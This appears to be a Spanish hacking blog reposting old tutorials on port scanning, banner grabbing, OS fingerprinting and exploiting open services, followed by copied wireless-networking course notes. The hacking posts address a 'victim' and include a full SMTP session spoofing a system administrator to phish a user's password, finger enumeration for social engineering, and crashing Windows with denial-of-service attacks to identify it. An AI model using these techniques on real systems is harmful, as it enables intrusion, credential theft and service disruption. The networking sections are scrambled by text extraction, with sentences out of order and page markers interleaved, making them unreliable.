/* Variable definitions ==================== */ /* Use this with templates/template-twocol.html */ -->

Chat-Kasper MH

Interpretando y explotando la informacion ]

Posted by kasp3r11 12:30, under |

Solo veremos algunos de los puertos mas utiles para nuestro objetivo,
los demas se los dejo para que los investiguen ustedes y usen su
imaginacion.
Lo que aqui haremos en definitiva es tratar de averiguar las versiones
de los demonios que esta corriendo el sistema, para encontrar algun
bug de esa version y su respectivo exploit. Tambien veremos algunos
puertos que nos pueden brindar datos interesantes.

Interesting ports on zapala.com.ar (200.32.91.1)
Port State Service Protocol
21 open tcp ftp
25 open tcp smtp
79 open tcp finger
80 open tcp http


- Puerto 21: yo lo primero que provaria es intentar hacer un ftp
anonimo, muchos sistemas estan tan mal configurados que hasta
podriamos conseguir el archivo de password. Luego tendriamos que
intentar ver que version del demonio ftp esta corriendo, seria
algo asi:

caos@CAOS~ telnet ftp.zapala.com.ar 21
Trying 200.32.91.1 ...
Connected to ftp.zapala.com.ar.
Escape character is '^]'.
220 ftp.zapala.com.ar FTP server (Version wu-2.5.0(1) Tue Sep 21
16:48:12 EDT 1999) ready.

Aqui vemos que version del FTP server esta corriendo el host, que
no hace falta decir lo famoso que es por sus innumerables bugs,
ahora lo que hacemos es buscar el exploit para esa version.

- Puerto 25: en este puerto generalmente encontraremos el servidor
de correo; si es el sendmail u otro, telneteamos a este puerto y
vemos cual es la version, y por supuesto vemos si podemos encontrar
algun exploit que nos sirva.

Para lo que tambien nos puede ser util este puerto es para enviar
mails anonimos o fake mails. Por ejemplo nos podriamos hacer pasar
por el Administrador del sistema y pedirle que nos envie su
contrase~a:

telnet universidad.edu.ar 25
220 universidad.edu.ar Microsoft Sendmail 1.0 ready at Sat, 2-1-98
HELO CAOS
250 <universidad.edu.ar> Hello CAOS
MAIL FROM: administrador@universidad.edu.ar
250 <administrador@universidad.edu.ar> ...Sender OKay
RCTP TO: victima@universidad.edu.ar
250 <victima@universidad.edu.ar> ...Recipient OKay
DATA
354 Enter mail, end with "." on a line by itself
Estimado usuario, debido a una reestructuracion del sistema
necesitamos nos envie su contrase~a para agregarla a la nueva
base de datos. Muchas gracias y disculpe las molestias.
El Administrador.
.
250 Mail accepted
QUIT
221 universidad.edu.ar closing connection.

Este ejemplo es muy inocente pero todo esta en la imaginacion
de cada uno. Algo a tener en cuenta es que muchos servidores de
correo loguean nuestra direccion IP y puede aparecer en el mail
que enviamos, por eso es preferible primero enviarnos un mail a
nosotros mismos para ver si aparece nuestra IP.

- Puerto 79: en este puerto podemos encontrar importante
informacion sobre los usuarios que se encuentran en el sistema.
Por ejemplo podemos probar hacer algo como esto:

telnet jperez@victima.edu.ar 79

Login Name Tty Idle Login Time Office Office Phone
jperez Juan Perez 1 Feb 7 02:06 4785-6548

Y obtendriamos informacion personal de ese usuario como ser su
telefono, que podriamos utilizar para hacer Ingenieria social.

Ahora si queremos ver todos los usuarios que hay en un sistema en
algunos servidores podemos hacer esto:

telnet @victima.edu.ar 79

Login Name Tty Idle Login Time Office Office Phone
jperez Juan Perez 1 Feb 7 02:06 4785-6548
root root *2 4:28 Feb 7 02:05

Y como vemos obtenemos todos los usuarios que en ese momento se
encuentran logueados en el sistema.

- Puerto 80: este puerto es el que nos ofrece el servicio de
web. Podriamos utilizarlo para conseguir el archivo de password
mediante la tecnica del PHF, pero como esta tecnica ya esta
quedando obsoleta no mencionare como hacerlo. Todo depende de
lo actualizado que estemos en los bugs que dia a dia aparecen,
hoy si este host estuviera corriendo el servidor web de Microsoft
podriamos probar la vulnerabilidad del ISS que afecta al 90% de
los servidores web existentes en Internet, o como ya hemos visto
antes podriamos usarlo para obtener informacion del sistema.

[ Fingerprinting ]

Posted by kasp3r11 12:29, under |

 El fingerprinting es basicamente determinar que sistema operativo corre
una computadora, diferenciando las distintas respuestas que tiene un
sistema a un pedido que hacemos. Asi comparando la respuesta de un
sistema con respecto de otro, y de otro, podemos ubicar cual es el sistema
que corre. Vale decir que el fingerprinting no es 100% seguro con ningun
programa que utilisemos, pero segun cual fuese nos puede acercar lo
suficiente como para ubicar el sistema, yo personalmente recomiendo el
Nmap(www.insecure.org/nmap). A continuacion veremos las tecnicas mas
representativas del fingerprinting que muchos programas utilizan:

- El FIN probe: mandamos un paquete FIN, o cualquiera que no mande un
flag SYN o ACK, a un puerto abierto y esperamos por una respuesta. Segun
el RFC 793 no deberiamos obtener ninguna respuesta pero muchas malas
implementaciones como el MS Windows, CISCO, BSDI, HP/UX, MVS e IRIX
mandan un RESET de respuesta.

- El BOGUS flag probe: la idea es marcar un flag TCP indefinido (64 o
128) en la cabezera de un paquete SYN. Algunos Linux anteriores al
2.0.35 dejan marcado este flag en la respuesta; y algunos sistemas
resetean la coneccion cuando reciben un paquete SYN+BOGUS.

- TCP ISN sampling: la idea aqui es encontar patrones en el ISN(Initial
Sequence Number) en aplicaciones TCP ante un pedido de coneccion. Osea
hay distintos grupos de Sistemas Operativos que usan diferentes formas
de generar los ISN, de esta manera podemos ubicar al sistema.

- Don't fragment bit: muchos sistemas comienzan seteando el "Don't
fragment" bit en el IP, en algunos de los paquetes que envian. Y muchos
otros sistemas lo hacen pero solo en algunos casos. Osea que si vemos
como va marcado este bit podemos obtener informacion interesante.

- TCP initial window: aqui lo unico que hacemos es chequear el tama~o
del window de los paquetes que nos devuelven. Algunos sistemas tienen
un window unico, por lo que esta tecnica muchas veces es por la unica
forma en que los podemos detectar.

- ACK value: mas alla de que supongamos que el valor del ACK va a ser
siempre estandar, en algunas implementaciones este valor varia. Por
ejemplo supongamos que mandamos un FIN|PSH|URG a un puerto TCP cerrado,
la mayoria de las implementaciones van a setear el ACK como el mismo
numero de ISN que nosotros enviamos, pero no Windows claro, que manda
nuestro ISN + 1.

- ICMP error message quenching: esta tecnica consiste en ver la cantidad
de menasjes de error que se nos devuelve ante un pedido. Muchos sistemas
limitan la cantidad de mensajes de error usando un ratio por segundo o
otros formulas. Esta tecnica no es muy usada porque se hace muy lento el
tener que estar esperando a que nos devuelva los mensajes de error.

- ICMP message quoting: segun los RFC los mensajes ICMP de error deben
seguir una constante, sin embargo algunos sistemas no lo hacen asi y
varian en las respuestas. Este es un gran punto con el cual podemos
identificar algunos sistemas.

- Exploit chronology: esta tecnica es muy divertida. Dado que no se
puede distinguir entre el TCP stack de Windows 95, 98 y NT, porque no
lo han actualizado en lo mas minimo, osea el NT sigue teniendo el mismo
stack que el 95 y que el 98, surgio esta tecnica que todos seguramente
hemos usado alguna vez. Consiste en hacer un ataque de DOS (Denial of
Service) para tirar al Windows, podemos empezar con un Nuke, o un Ping
de la Muerte, y luego vamos usando tecnicas un poco mas avanzadas como
Teardrop y Land; entonces despues de cada ataque hacemos un PING a la
victima y segun con que tecnica haya caido podemos deducir que sistema
es y hasta que Service Pack o Hotfix tiene instalado.

- SYN flood resistance: muchos sistemas paran de aceptar conexiones
cuando uno les envia varios paquetes SYN; algunos solo aceptan 8
paquetes. simplemente podemos determinar el sistema por la cantidad de
paquetes que puede aceptar.

[ Averiguando el Sistema Operativo ]

Posted by kasp3r11 12:29, under |

Saber que sistema operativo esta corriendo nuestra victima es algo
obviamente muy valioso, ya que muchas de las vulnerabilidades que podemos
encontrar dependen del sistema y la version que tenga.

La forma mas efectiva de poder conocer que sistema corre nuestra victima
seria hacerle un telnet. Suponiendo que el puerto 21 estuviera abierto
veriamos algo asi:

caos@CAOS~ telnet afrodita.unrl.edu
Trying 208.145.173.12...
Connected to afrodita.unrl.edu.
Escape character is '^]'.

HP-UX hpux B.10.01 A 9000/715 (ttyp2)

login:

Como podemos ver al telnetear al host hpux.u-aizu.ac.jp nos aparece que
sistema operativoy que version esta corriendo; y nos aparece un prompt
pidiendonos los datos del login. Lamentablemente esta tecnica no es muy
efectiva ya que el banner que nos muestra los datos del sistema es
facilmente modificable; en los Linux solo basta con modificar los archivos
/etc/issue y /etc/issue.net, por ejemplo al telnetear a mi computadora
veriamos algo asi:

/////// CAOS - Ezkracho Team
// - = -
/////// Feel the Power !

login:

Pero el modificar los banners del login no afecta los banners defaults
que vienen en los demas servicios; por ejemplo al telnetear a un ftp nos
apareceria lo siguiente:

caos@CAOS~ telnet ftp.netscape.com 21
Trying 207.200.74.26 ...
Connected to ftp.netscape.com.
Escape character is '^]'.
220 ftp29 FTP server (UNIX(r) System V Release 4.0) ready.
SYST
215 UNIX Type: L8 Version: SUNOS

Otra truco que podemos utilizar si nuestra victima tiene montado un
servidor web seria el siguiente:

caos@CAOS~ echo 'GET / HTTP/1.0\n' | nc hotbot.com 80 | egrep '^Server:'
Server: Microsoft-IIS/4.0
caos@CAOS~

Con lo que nos aparece creo que todos pueden deducir el sistema opreativo
que esta corriendo.

Que es el escaneo de puertos ? ]

Posted by kasp3r11 12:28, under |

Que es el escaneo de puertos ? ]


El escaneo de puertos consiste basicamente en detectar que servicios
nos esta ofreciendo un determinado host. Si al hacer un escaneo
encontramos un puerto abierto, segun cual fuese este es el servicio
que nos ofrece.

Por ejemplo vamos a escanear el host zapala.com.ar:

Interesting ports on zapala.com.ar (200.32.91.1)
Port State Service Protocol
21 open tcp ftp
25 open tcp smtp
80 open tcp http

Suponiendo que solo estos puertos estuvieran abiertos (HEH!) lo que nos
resulta de este escaneo, es que zapala.com.ar esta ofreciendo servicios
de transferencia de archivos, de correo y de web.
Mas adelante veremos de que forma podemos explotar la informacion que
hemos obtenido ahora.



3. [ Diferentes tecnicas de escaneo de puertos ]


Debido a los diferentes tipos de protocolos, los numerosos puertos que
pueden estar escuchando, y a los dispositivos empleados para evitar o
detectar el escaneo de puertos, han surgido diferentes tecnicas las
cuales tienen sus ventajas como desventajas. A continuacion veremos
algunas de las distintas tecnicas que hoy dia conocemos.

- TCP connect() scanning: esta es la forma mas popular de escaneo TCP y
consiste basicamente en usar la llamada a sistema connect() del sistema
operativo, si se logra establecer la coneccion con el puerto de la otra
computadora entonces este puerto esta abierto. Las ventajas que tiene
esta forma de escaneo es que no se necesita ningun privilegio especial
para poder llevarla a cabo, en la mayoria de los Unix cualquier usuario
puede hacer uso de la llamada connect(). Otra gran ventaja es la
velocidad. El lado negativo que encontramos es que es muy facil de
detectar y de filtrar, y generalmente el host loguea que establecemos
una coneccion e inmediatamente nos desconectamos.

- TCP SYN scanning: esta tecnica es la llamada escaneo "half-open" (o
mitad-abierta), porque no establecemos una coneccion TCP completa. Lo
que hacemos es enviar un paquete SYN como si fueramos a entablar una
coneccion TCP completa y esperamos por una respuesta. Podemos recibir
un SYN|ACK si el puerto esta escuchando o un RST si el puerto esta
cerrado. Si recibimos un SYN|ACK en respuesta, inmediatamente le
enviamos un RST. La mayor ventaja de esta tecnica es que muy pocos
servers nos loguean; y la desventaja es que se necesita privilegios de
root para construir estos paquetes SYN a enviar.

- TCP FIN scanning: algunos firewalls y packets filters escuchan por los
paquetes SYN en algunos puertos, y programas como el synlogger puden
detectar este tipo de escaneo. En cambio los paquetes FIN pueden penetrar
sin mayor problemas. La idea consiste en que al enviar un paquete FIN
si el puerto esta cerrado nos va a devolver un RST, y si el puerto esta
abierto nos va a ignorar. Esto se debe a un error en las implementaciones
TCP pero no funciona en un 100%. La mayoria de los sistemas parecen
susceptibles excepto los sistemas Microsoft que son inmunes (aunque
usted no lo crea).

- Fragmentation scanning: esta no es una tecnica en si misma, sino una
modificacion de otras tecnicas. Consiste en hacer una divicion de los
paquetes que enviamos, para no ser detectados por los packet filters y
los firewalls. Por ejemplo podemos hacer un SYN o un FIN scanning
fragmentando los paquetes que enviamos, y al ir quedando en cola en los
firewalls y en los packet filters no somos detectados.

- TCP reverse ident scanning: el protocolo ident permite averiguar el
nombre de usuario y el due~o de cualquier servicio corriendo dentro de
una coneccion TCP. Por ejemplo podemos conectarnos al puerto http y
usar identd para averiguar que esta corriendo la victima como root; esto
solo es posible estableciendo una coneccion TCP completa.

- FTP bounce attack: algo interesante del protocolo ftp, es que permite
lo que se llama coneccion proxy ftp. Osea yo podria conectarme a un ftp
desde un servidor proxy y al hacer esto establecer una coneccion y enviar
un archivo a cualquier parte de la Internet. Esto lo podemos aprovechar
tambien para hacer por ejemplo un escaneo TCP, ya que estariamos haciendolo
desde un servidor ftp pero detras de un firewall. Lo bueno que tiene esta
tecnica es obviamente que es muy dificil de rastrear, y lo malo es que
puede volverse sumamente lento.

- UDP ICMP port unreachable scanning: Lo que varia significativamente de
esta tecnica con respecta a las otras es que estamos usando el protocolo
UDP, este protocolo puede ser mas simple que el TCP pero al escanear se
vuelve sumamente mas complejo; esto se debe a que si un puerto esta abierto
no tiene que enviarnos un paquete de respuesta, y si un puerto esta cerrado
tampoco tiene que enviarnos un paquete de error. Afortunadamente, la
mayoria de los hosts nos envian un paquete de error "ICMP_PORT_UNREACH"
cuando un puerto UDP esta cerrado. Esta tecnica suele volverse muy lenta

DESCRIPCION DE ETHERNET

Posted by kasp3r11 14:44, under |

Ethernet es una topología de red que basa su operación en el protocolo MAC
CSMA/CD. En una implementación “Ethernet CSMA/CD”, una estación con un
paquete listo para enviar, retarda la transmisión hasta que “sense” o verifique que el
medio por el cual se va ha trasmitir, se encuentre libre o desocupado. Después de
comenzar la transmisión existe un tiempo muy corto en el que una colisión puede
ocurrir, este es el tiempo requerido por las estaciones de la red para “sensar” en el
medio de transmisión el paquete enviado. En una colisión las estaciones dejan de
http://www.cybercursos.net
22
transmitir, esperan un tiempo aleatorio y entonces vuelven a sensar el medio de
transmisión para determinar si ya se encuentra desocupado.
Una correcta operación, requiere que las colisiones sean detectadas antes
de que la transmisión sea detenida y también que la longitud de un paquete
colisionado no exceda la longitud del paquete. Estos requerimientos de coordinación
son el factor limitante del espacio de la red. En un cableado Ethernet el medio
coaxial es partido en segmentos, se permite un máximo de 5 segmentos entre 2
estaciones. De esos segmentos únicamente 3 pueden ser coaxiales, los otros 2
deben de tener un enlace punto-a-punto. Los segmentos coaxiales son conectados
por medio de repetidores, un máximo de 4 repetidores pueden ser instalados entre 2
estaciones. La longitud máxima de cada segmento es:
1.- 500 mts para 10Base5
2.-185 mts para l0Base2.
La función del repetidor es regenerar y retransmitir las señales que viajen
entre diferentes segmentos, y detectar colisiones.
3.3.- MODOS DE RADIACION INFRARROJOS
Las estaciones con tecnología infrarroja pueden usar tres modos diferentes
de radiación para intercambiar la energía Optica entre transmisores-receptores:
punto-a-punto cuasi-difuso y difuso (FIG. 3.2.1, 3.2.2, 3.2.3).
http://www.cybercursos.net
23
PUNTO-A-PUNTO
FIG 3.2.1
CUASI-DIFUSO
S A T E L I T E
FIG 3.2.2
http://www.cybercursos.net
24
DIFUSO
FIG 3.2.3
En el modo punto-a-punto los patrones de radiación del emisor y del receptor
deben de estar lo más cerca posible, para que su alineación sea correcta. Como
resultado, el modo punto-a-punto requiere una línea-de-vista entre las dos
estaciones a comunicarse. Este modo es usado para la implementación de redes
Inalámbricas Infrarrojas Token-Ring. El “Ring” físico es construido por el enlace
inalámbrico individual punto-a-punto conectado a cada estación.
A diferencia del modo punto-a-punto, el modo cuasi-difuso y difuso son de
emisión radial, o sea que cuando una estación emite una señal Optica, ésta puede
ser recibida por todas las estaciones al mismo tiempo en la célula. En el modo
cuasi–difuso las estaciones se comunican entre si, por medio de superficies
reflejantes . No es necesaria la línea-de-vista entre dos estaciones, pero si deben
de estarlo con la superficie de reflexión. Además es recomendable que las
estaciones estén cerca de la superficie de reflexión, esta puede ser pasiva ó activa.
En las células basadas en reflexión pasiva, el reflector debe de tener altas
http://www.cybercursos.net
25
propiedades reflectivas y dispersivas, mientras que en las basadas en reflexión
activa se requiere de un dispositivo de salida reflexivo, conocido como satélite, que
amplifica la señal óptica. La reflexión pasiva requiere más energía, por parte de las
estaciones, pero es más flexible de usar.
En el modo difuso, el poder de salida de la señal óptica de una estación,
debe ser suficiente para llenar completamente el total del cuarto, mediante múltiples
reflexiones, en paredes y obstáculos del cuarto. Por lo tanto la línea-de-vista no es
necesaria y la estación se puede orientar hacia cualquier lado. El modo difuso es el
más flexible, en términos de localización y posición de la estación, sin embargo esta
flexibilidad esta a costa de excesivas emisiones ópticas.
Por otro lado la transmisión punto-a-punto es el que menor poder óptico
consume, pero no debe de haber obstáculos entre las dos estaciones. En la
topología de
producido por el acceso al punto óptico de cada estación es muy representativo en
el rendimiento de la red. Es más recomendable y más fácil de implementar el modo
de radiación cuasi-difuso. La tecnología infrarroja esta disponible para soportar el
ancho de banda de Ethernet, ambas reflexiones son soportadas (por satélites y
reflexiones pasivas).
Ethernet se puede usar el enlace punto-a-punto, pero el retardo

LIMITE DE LA LONGITUD DEL PAQUETE Y SU TIEMPO.

Posted by kasp3r11 14:39, under |

Cuando el paquete es más pequeño, la proporción del tiempo usado al
accesar el canal, es mayor, aunque la carga pueda ser pequeña para algunas
funciones, la transferencia y descarga de archivos son mejor administrados cuando
la longitud del paquete es de buen tamaño, para minizar el tiempo de transferencia.
En paquetes grandes, se incrementa la posibilidad de que el paquete tenga
errores en el envío, en sistemas de radio el tamaño aproximado ideal es de 512
octetos o menos , un paquete con una longitud de 100-600 octetos puede permitir la
salida oportuna de respuestas y datagramas prioritarios junto con los datagramas
normales.
Es necesario de proveer formas para dividir los paquetes en segmentos
dentro de las redes inalámbricas. Para un protocolo propuesto, el promedio de
mensajes transferidos, es mayor para el tráfico originado por el “saludo inicial”, que
el originado por el punto de acceso. En este promedio se incluyen campos de
dirección de red y otras funciones que son agregadas por el protocolo usado y no
por el sistema de radio.
El mensaje más largo permitido para superar un retardo de acceso de 1.8.
m
octetos utiliza 400
que sobran pueden ser usados para solicitar requerimiento pendientes. El tiempo
marcado para un grupo de Reuso de 4 puede ser de 2,400
puede ser uniforme, entre grupos comunes y juntos, con 4 puntos de acceso. sin
seg. y un factor de Reuso de 4, utiliza menos de 600 mseg. Un mensaje de 600mseg. a una velocidad de transmisión de 12 Mbs, los 200 mseg.mseg. Este tiempo total
http://www.cybercursos.net
19
embargo la repartición del tiempo entre ellos será según la demanda.
Las computadoras necesitan varios anchos de banda dependiendo del
servicio a utilizar, transmisiones de datos, de vídeo y voz de voz, etc. La opción es,
si:
1.- El medio físico puede multiplexar de tal manera que un paquete sea un
conjunto de servicios.
2.- El tiempo y prioridad es reservado para el paquete y los paquetes
relacionados con el, la parte alta de la capa MAC es multiplexada.
La capacidad de compartir el tiempo de estos dos tipos de servicios ha
incrementado la ventaja de optimizar la frecuencia en el espacio y los requerimientos
para armar un sistema.

EFICIENCIA DEL TIEMPO

Posted by kasp3r11 14:38, under |

El tiempo es importante para poder maximizar el servicio, al momento de
diseñar la frecuencia en el espacio. El uso del tiempo está determinado por los
protocolos y por los métodos de acceso que regularmente usen los canales de
http://www.cybercursos.net
16
transmisión de la estación.
Las características del método de acceso para que se considere que tiene
un tiempo eficiente, pueden estar limitada por los métodos que sean utilizados.
Algunas de estas características son:
1.- Después de completar una transmisión/ recepción, la comunicación debe
de estar disponible para su siguiente uso.
a.- No debe de haber tiempos fijos entre la transmisión-recepción.
b.- Rellenar la longitud de un mensaje para complementar el espacio, es
desperdiciarlo.
2.- La densidad de distribución geográfica y tiempo irregular de la demanda
del tráfico deben ser conocidas.
a.- Un factor de Reuso, es más eficiente por un uso secuencial del tiempo
que por una división geográfica del área.
b.- Para la comunicación en una área, se debe de considerar la posibilidad
de que en áreas cercanas existan otras comunicaciones.
c.- La dirección del tráfico desde y hacia la estación no es igual, el uso de
un canal simple de transmisión y recepción da una ventaja en el uso
del tiempo.
3.- Para tráfico abundante, se debe de tener una “lista de espera” en la que
http://www.cybercursos.net
17
se manejen por prioridades: “El primero en llegar, es el primero en salir”,
además de poder modificar las prioridades.
4.- Establecer funciones para usar todo el ancho de banda del canal de
comunicación, para que el tiempo que exista entre el comienzo de la
transmisión y la disponibilidad de la comunicación, sea lo más corto
posible.
5.- El uso de un “saludo inicial” minimiza tiempos perdidos, en el caso de que
los paquetes transferidos no lleguen correctamente; cuando los
paquetes traen consigo una descripción del servicio que requieren,
hacen posible que se mejore su organización.
6.- La conexión para mensajes debe ser más eficiente que la selección,
particularmente al primer intento, sin embargo la selección puede ser
eficiente en un segundo intento cuando la lista de las estaciones a
seleccionar sea corta.
Para transacciones de tipo asincrona, es deseable completar la transacción
inicial antes de comenzar la siguiente. Deben completarse en el menor tiempo
posible. El tiempo requerido para una transacción de gran tamaño es un parámetro
importante para el sistema, que afecta la capacidad del administrador de control
para encontrar tiempos reservados con retardos, como hay un tiempo fijo permitido
para la propagación, el siguiente paso debe comenzar cuando termina el actual. El
control del tráfico de datos en ambas direcciones, se realiza en el administrador de
control.

MODULACION DE RADIO.

Posted by kasp3r11 14:36, under |

El espectro disponible es de 40 MHz, según el resultado de APPLE y 802.11
La frecuencia es “Desvanecida” cuando en una segunda o tercera trayectoria, es
incrementada o decrementada la amplitud de la señal. La distribución de
probabilidad de este tipo de “Desvanecimientos” se le denomina “rayleigh”. El
desvanecimiento rayleigh es el factor que reduce la eficiencia de uso del espectro
con pocos canales de ancho de banda.
Si es usada la señal de espectro expandido, la cual es 1 bit/símbolo, la
segunda o tercera trayectoria van a causar un “Desvanecimiento” si la diferencia de
la trayectoria es más pequeña que la mitad del intervalo del símbolo. Por ejemplo,
una señal a 10 Mbs, necesita de 0.1
mts. Diferencias en distancias mayores de 5 mts. causan mayor interferencia entre
símbolos que el causado por el “Desvanecimiento”. Si el símbolo es dividido en 7
bits, el mecanismo ahora se aplicara a una séptima parte de 30 mts. (o sea, 4
metros aproximadamente), una distancia en la trayectoria mayor de 4 metros no es
causa de “Desvanecimiento” o de interferencia entre símbolos.
El promedio de bits debe de ser constante, en el espacio localizado en el
espectro y el tipo de modulación seleccionado. El uso de ciertos símbolos
codificados, proporcionaran una mejor resolución a la longitud de trayectoria.
mseg. de tiempo para propagar la señal a 30
http://www.cybercursos.net
15
Un espectro expandido de 1 símbolo y cada símbolo con una longitud de
7,11,13, ....31 bits, permitirá una velocidad de 10 a 2 Mbs promedio. El código
ortogonal permite incrementar los bits por símbolo, si son 8 códigos ortogonales en
31 partes y si se incluye la polaridad, entonces es posible enviar 4 partes por
símbolo para incrementar la utilización del espacio.
La canalización y señalización son métodos que compiten entre sí por el uso
de códigos en el espacio del espectro expandido. Algunos de los códigos de espacio
pueden ser usados por la canalización para eliminar problemas de superposición.
El espectro expandido puede proporcionar una reducción del
“Desvanecimiento” rayleigh, y una disminución en la interferencia a la señal para que
el mensaje sea transmitido satisfactoriamente, lo cual significa que se reduce el
factor de Reuso.
Para una comunicación directa entre estaciones de un grupo, cuando no
existe la infraestructura, una frecuencia común debe ser alternada para transmisión
y recepción. La activación, en la transmisión no controlada, por grupos
independientes dentro de una área con infraestructura definida, puede reducir
substancialmente la capacidad de organización del sistema.

AISLAMIENTO EN SISTEMAS VECINOS.

Posted by kasp3r11 14:33, under |

Con un proyecto basado en Puntos de Acceso, la cobertura de cada punto
de acceso es definible y puede ser instalado para que las paredes sean una ayuda
en lugar de un obstáculo. Las estaciones están recibiendo o transmitiendo
activamente muy poco tiempo y una fracción de las estaciones asociadas, con un
punto de acceso, están al final de una área de servicio; entonces el potencial de
interferencia entre estaciones es mínimo comparado con las fallas en otros
mecanismos de transmisión de gran escala. De lo anterior podemos definir que
tendremos dos beneficios del punto de acceso:
1.- El tamaño del grupo de Reuso puede ser pequeño ( 4 es el valor usado, y
2 es el deseado).
2.- La operación asincrona de grupos de Reuso contiguos puede ser poca
perdida, permitiendo así que el uso del tiempo de cada punto de acceso
http://www.cybercursos.net
14
sea aprovechado totalmente.
Estos detalles incrementan materialmente el uso del tiempo.

REDES DE RADIO FRECUENCIA

Posted by kasp3r11 14:32, under |

S DE RADIO FRECUENCIA
Por el otro lado para las Redes Inalámbricas de RadioFrecuencia , la FCC
permitió la operación sin licencia de dispositivos que utilizan 1 Watt de energía o
menos, en tres bandas de frecuencia : 902 a 928 MHz, 2,400 a 2,483.5 MHz y 5,725
a 5,850 Mhz. Esta bandas de frecuencia, llamadas bandas ISM, estaban
anteriormente limitadas a instrumentos científicos, médicos e industriales. Esta
banda, a diferencia de la ARDIS y MOBITEX, está abierta para cualquiera. Para
minimizar la interferencia, las regulaciones de FCC estipulan que una técnica de
señal de transmisión llamada
de transmisión máxima de 1 Watt. deberá ser utilizada en la banda ISM. Esta técnica
a sido utilizada en aplicaciones militares. La idea es tomar una señal de banda
convencional y distribuir su energía en un dominio más amplio de frecuencia. Así, la
spread-spectrum modulation, la cual tiene potencia
http://www.cybercursos.net
8
densidad promedio de energía es menor en el espectro equivalente de la señal
original. En aplicaciones militares el objetivo es reducir la densidad de energía abajo
del nivel de ruido ambiental de tal manera que la señal no sea detectable. La idea en
las redes es que la señal sea transmitida y recibida con un mínimo de interferencia.
Existen dos técnicas para distribuir la señal convencional en un espectro de
propagación equivalente :
·
multiplica por una señal de frecuencia mayor, basada en una función
de propagación determinada. El flujo de datos original puede ser
entonces recobrado en el extremo receptor correlacionándolo con la
función de propagación conocida. Este método requiere un
procesador de señal digital para correlacionar la señal de entrada.
La secuencia directa: En este método el flujo de bits de entrada se
·
dispositivos receptores y emisores se mueven sincrónicamente en un
patrón determinado de una frecuencia a otra, brincando ambos al
mismo tiempo y en la misma frecuencia predeterminada. Como en el
método de secuencia directa, los datos deben ser reconstruidos en
base del patrón de salto de frecuencia. Este método es viable para
las redes inalámbricas, pero la asignación actual de las bandas ISM
no es adecuada, debido a la competencia con otros dispositivos,
como por ejemplo las bandas de 2.4 y 5.8 Mhz que son utilizadas por
hornos de Microondas.
El salto de frecuencia: Este método es una técnica en la cual los

REDES INALAMBRICAS

Posted by kasp3r11 14:31, under |

Una de las tecnologías más prometedoras y discutidas en esta década es la
de poder comunicar computadoras mediante tecnología inalámbrica. La conexión de
computadoras mediante Ondas de Radio o Luz Infrarroja, actualmente está siendo
ampliamente investigado. Las Redes Inalámbricas facilitan la operación en lugares
donde la computadora no puede permanecer en un solo lugar, como en almacenes
o en oficinas que se encuentren en varios pisos.
También es útil para hacer posibles sistemas basados en plumas. Pero la
realidad es que esta tecnología está todavía en pañales y se deben de resolver
varios obstáculos técnicos y de regulación antes de que las redes inalámbricas sean
utilizadas de una manera general en los sistemas de cómputo de la actualidad.
No se espera que las redes inalámbricas lleguen a remplazar a las redes
cableadas. Estas ofrecen velocidades de transmisión mayores que las logradas con
la tecnología inalámbrica. Mientras que las redes inalámbricas actuales ofrecen
velocidades de 2 Mbps
espera que alcancen velocidades de hasta 100 Mbps. Los sistemas de Cable de
Fibra Optica logran velocidades aún mayores, y pensando futuristamente se espera
que las redes inalámbricas alcancen velocidades de solo 10 Mbps.
1, las redes cableadas ofrecen velocidades de 10 Mbps y se
1
Mbps Millones de bits por segundo
http://www.cybercursos.net
2
Sin embargo se pueden mezclar las redes cableadas y las inalámbricas, y
de esta manera generar una “Red Híbrida” y poder resolver los últimos metros hacia
la estación. Se puede considerar que el sistema cableado sea la parte principal y la
inalámbrica le proporcione movilidad adicional al equipo y el operador se pueda
desplazar con facilidad dentro de un almacén o una oficina. Existen dos amplias
categorías de Redes Inalámbricas:
1.
en espacios que pueden variar desde una misma ciudad o hasta varios
países circunvecinos (mejor conocido como Redes de Area
Metropolitana MAN); sus velocidades de transmisión son relativamente
bajas, de 4.8 a 19.2 Kbps.
2.
corporativas cuyas oficinas se encuentran en uno o varios edificios que
no se encuentran muy retirados entre si, con velocidades del orden de
280 Kbps hasta los 2 Mbps.
Existen dos tipos de redes de larga distancia: Redes de Conmutación de
Paquetes (públicas y privadas) y Redes Telefónicas Celulares. Estas últimas son un
medio para transmitir información de alto precio. Debido a que los módems
celulares actualmente son más caros y delicados que los convencionales, ya que
requieren circuiteria especial, que permite mantener la pérdida de señal cuando el
circuito se alterna entre una célula y otra. Esta pérdida de señal no es problema para
la comunicación de voz debido a que el retraso en la conmutación dura unos
cuantos cientos de milisegundos, lo cual no se nota, pero en la transmisión de
De Larga Distancia.- Estas son utilizadas para transmitir la informaciónDe Corta Distancia.- Estas son utilizadas principalmente en redes
http://www.cybercursos.net
3
información puede hacer estragos. Otras desventajas de la transmisión celular son:
La carga de los teléfonos se termina fácilmente.
La transmisión celular se intercepta fácilmente (factor importante en lo
relacionado con la seguridad).
Las velocidades de transmisión son bajas.
Todas estas desventajas hacen que la comunicación celular se utilice poco,
o únicamente para archivos muy pequeños como cartas, planos, etc.. Pero se
espera que con los avances en la compresión de datos, seguridad y algoritmos de
verificación de errores se permita que las redes celulares sean una opción redituable
en algunas situaciones.
La otra opción que existe en redes de larga distancia son las denominadas:
Red Pública De Conmutación De Paquetes Por Radio
problemas de pérdida de señal debido a que su arquitectura está diseñada para
soportar paquetes de datos en lugar de comunicaciones de voz. Las redes privadas
de conmutación de paquetes utilizan la misma tecnología que las públicas, pero bajo
bandas de radio frecuencia restringidas por la propia organización de sus sistemas
de cómputo.
. Estas redes no tienen
1.2.- REDES PUBLICAS DE RADIO.
Las redes públicas tienen dos protagonistas principales: “
asociación de Motorola e IBM) y “Ram Mobile Data” (desarrollado por Ericcson AB,
ARDIS” (una
http://www.cybercursos.net
4
denominado
proporcionan canales de radio en áreas metropolitanas, las cuales permiten la
transmisión a través del país y que mediante una tarifa pueden ser utilizadas como
redes de larga distancia. La compañía proporciona la infraestructura de la red, se
incluye controladores de áreas y Estaciones Base, sistemas de cómputo tolerantes
a fallas, estos sistemas soportan el estándar de conmutación de paquetes X.25, así
como su propia estructura de paquetes. Estas redes se encuentran de acuerdo al
modelo de referencia OSI. ARDIS especifica las tres primeras capas de la red y
proporciona flexibilidad en las capas de aplicación, permitiendo al cliente desarrollar
aplicaciones de software (por ej. una compañía llamada RF Data, desarrollo una
rutina de compresión de datos para utilizarla en estas redes públicas).
Los fabricantes de equipos de computo venden periféricos para estas redes
(IBM desarrollo su “
privadas). La PCRadio es un dispositivo manual con un microprocesador 80C186
